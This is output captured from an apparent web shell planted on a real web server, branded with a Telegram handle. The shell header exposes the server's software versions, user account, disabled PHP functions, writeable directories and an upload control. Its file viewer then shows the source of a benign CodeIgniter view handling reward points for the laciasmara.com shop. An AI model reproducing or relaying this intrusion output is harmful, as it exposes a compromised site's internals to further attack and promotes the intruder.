https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/views/account/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/views/account/point_rewards.php
<?php defined('BASEPATH') or exit('No direct script access allowed'); ?>
<!--make some space gap on top with menu-->
<div class="banner" style="padding-top: 10px;"></div>

<div class="container margin_top_48px margin_bottom_48px">
    <div class="row" style="padding-bottom:50px;">
        <div class="col-sm-2 order-sm-1 order-2" style="border-right:1px solid #ccc;">
            <?= Modules::run('myaccount_menu'); ?>
        </div><!-- end col-sm-2-->
        <div class="col-sm-10 order-sm-2 order-1">
            <?php
            $reseller_id = $this->db->select('reseller_id')->from('customers')->where('id_customers', $this->session->userdata('customer')['customer_id'])->get()->row()->reseller_id;
            $target_point = $this->db->select('target_point')->from('resellers')->where('id_resellers', $reseller_id)->get()->row()->target_point;

            if ($reseller_id == NULL) : ?>
                <h4><?= strtoupper(lang('my_pointrewards')); ?></h4>
            <?php else : ?>
                <h4><?= strtoupper(lang('credit')); ?></h4>
            <?php endif; ?>
            <?php

            if ($reseller_id == NULL) : ?>
                <p><strong><?= ucwords(lang('my_current_points')); ?>: <span style="font-size:22px;color:<?= $primary_colortheme; ?>;"><?= $current_point; ?></span></strong></p>
                <div class="table-responsive hidden-xs-down">
                    <table class="table table-striped">
                        <tr>
                            <td><?= ucwords(lang('no_order')); ?></td>
                            <td><?= ucwords(lang('order_date')); ?></td>
                            <td><?= ucwords(lang('point_used')); ?></td>
                            <td><?= ucwords(lang('point_get')); ?></td>
                            <!-- <td></td> -->
                            <!-- <td><?= ucwords(lang('amount')); ?></td>
                        <td><?= ucwords(lang('item_details')); ?></td>
                        <td>Order Status</td> -->
                        </tr>

                        <?php foreach ($order_history as $item) : ?>

                            <!-- Form Start -->
                            <?php echo form_open('account/payment_confirmation'); ?>

                            <input type="hidden" name="order_id" value="<?= $item->id_orders; ?>">

                            <tr>
                                <td style="padding:3px;"><?= $item->id_orders; ?></td>
                                <td style="padding:3px;">
                                    <?php
                                    $order_date = strtotime($item->order_date);
                                    $new_date = date('j/m/Y', $order_date);
                                    echo $new_date;
                                    ?>
                                </td>
                                <td>
                                    <?php if ($item->payment_status == 0 || $item->payment_status == 1 || $item->payment_status == 3) : ?>
                                        - <?= $item->minus_reward; ?>
                                    <?php else : ?>
                                        -
                                    <?php endif; ?>
                                </td>
                                <td>
                                    <?php if ($item->payment_status == 4 || $item->payment_status == 3 || $item->payment_status == 5) : ?>
                                        + <?= $item->plus_reward; ?>
                                    <?php else : ?>
                                        -
                                    <?php endif; ?>
                                </td>



                                <!-- <td style="padding:3px;">Rp <?= number_format($item->total_amount); ?></td>

                            <td>
                            <?php
                            $order_id = $item->id_orders;
                            $this->db->select('*');
                            $this->db->from('orders_detail');
                            $this->db->where('orders_id', $order_id);
                            $query = $this->db->get();
                            $orders_detail = $query->result();
                            ?>

                            <?php foreach ($orders_detail as $order_detail) : ?>
                                <p><?= $order_detail->item_name; ?> <?= $order_detail->quantity; ?> pcs @Rp <?= number_format($order_detail->item_price); ?></p>
                            <?php endforeach; ?>

                            </td>

                            <td>
                                                            <?php if ($item->payment_status == 0 || $item->payment_status == 1) : ?>
                                                                <?= ucwords(lang('not_paid_yet')); ?>
                                                            <?php elseif ($item->payment_status == 3) : ?>
                                                                <?= ucwords(lang('paid')); ?>
                                                            <?php elseif ($item->payment_status == 4) : ?>
                                                                Sedang proses pengiriman
                                                            <?php elseif ($item->payment_status == 5) : ?>
                                                                Sudah terkirim
                                                            <?php elseif ($item->payment_status == 2) : ?>
                                                                 <?= ucwords(lang('cancel')); ?>
                                                            <?php endif; ?>
                            </td> -->




                            </tr>

                            <?php echo form_close(); ?>

                        <?php endforeach; ?>

                    </table>
                </div><!-- end class="table-responsive"> -->
                <div class="row hidden-sm-up" style="margin-bottom: 20px;">
                    <?php foreach ($order_history as $item) : ?>
                        <div class="col-sm-12" style="margin: 10px;box-shadow: 1px 4px 20px 0px #aaaaaa;padding: 10px;border-radius: 7px;">
                            <div class="row">
                                <div class="col-12">
                                    <p style="margin: 0px;font-weight: bold;"><?= ucwords(lang('no_order')); ?>: <?= $item->id_orders; ?></p>
                                    <input type="hidden" name="order_id" value="<?= $item->id_orders; ?>">
                                    <p style="margin: 0px;font-weight: bold;"><?= ucwords(lang('order_date')); ?>:</p>
                                    <p style="margin-bottom: 10px;">
                                        <?php
                                        $order_date = strtotime($item->order_date);
                                        $new_date = date('j/m/Y', $order_date);
                                        echo $new_date;
                                        ?>
                                    </p>
                                </div>
                            </div>
                            <p style="margin: 0px;font-weight: bold;">
                                <?= ucwords(lang('point_get')); ?>:
                                <?php if ($item->payment_status == 1 || $item->payment_status == 3) : ?>
                                    + <?= $item->plus_reward; ?>
                                <?php else : ?>
                                    0
                                <?php endif; ?>
                            </p>
                            <p style="margin: 0px;font-weight: bold;">
                                <?= ucwords(lang('point_used')); ?>:
                                <?php if ($item->payment_status == 0 || $item->payment_status == 1 || $item->payment_status == 3) : ?>
                                    - <?= $item->minus_reward; ?>
                                <?php else : ?>
                                    0
                                <?php endif; ?>
                            </p>
                        </div>
                    <?php endforeach; ?>
                </div>
            <?php else : ?>
                <p><strong><?= ucwords(lang('credit')); ?>: <span style="font-size:22px;color:<?= $primary_colortheme; ?>;">IDR. <?= number_format($credit, 0, ',', '.'); ?></span></strong>
                    <!-- <style>
                    progress {
                        border-radius: 7px;
                        width: 80%;
                        box-shadow: 1px 1px 4px rgba(0, 0, 0, 0.2);
                    }

                    progress::-webkit-progress-bar {
                        background-color: gray;
                        border-radius: 7px;
                    }

                    progress::-webkit-progress-value {
                        background-color: <?= $primary_colortheme; ?>;
                        border-radius: 7px;
                        box-shadow: 1px 1px 5px 3px rgba(255, 0, 0, 0.8);
                    }

                    progress::-moz-progress-bar {
                        /* style rules */
                    }

                    .btn-primary {
                        background-color: <?= $primary_colortheme; ?>;
                        border-color: <?= $primary_colortheme; ?>;
                    }

                    .btn-primary.disabled,
                    .btn-primary:disabled {
                        opacity: 0.5;
                    }
                </style>
                <p><strong>//<?= ucwords(lang('my_current_points')); ?>: <span style="font-size:22px;color:<?= $primary_colortheme; ?>;"><?= $current_point; ?></span></strong> <strong><?= ucwords(lang('target_points')); ?>: <span style="font-size:22px;color:<?= $primary_colortheme; ?>;"><?= $target_point; ?></span></strong></p>
                <progress value="//<?= $current_point; ?>" max="<?= $target_point; ?>"></progress>
                <br>
              //  <?php if ($current_point >= $target_point) : ?>
               //     <a href="<?= base_url('account/claimvoucher_finish'); ?>" class="btn btn-primary">Claim Voucher Cashback 10%</a>

                //<?php else : ?>

                    <a href="" class="btn btn-primary disabled">Claim Voucher Cashback 10%</a>

             //   <?php endif; ?>

            //<?php endif; ?> -->



        </div><!-- end col-sm-8-->
    </div><!-- end row-->
</div><!-- end container -->

https://t.me/RX1948 - 2025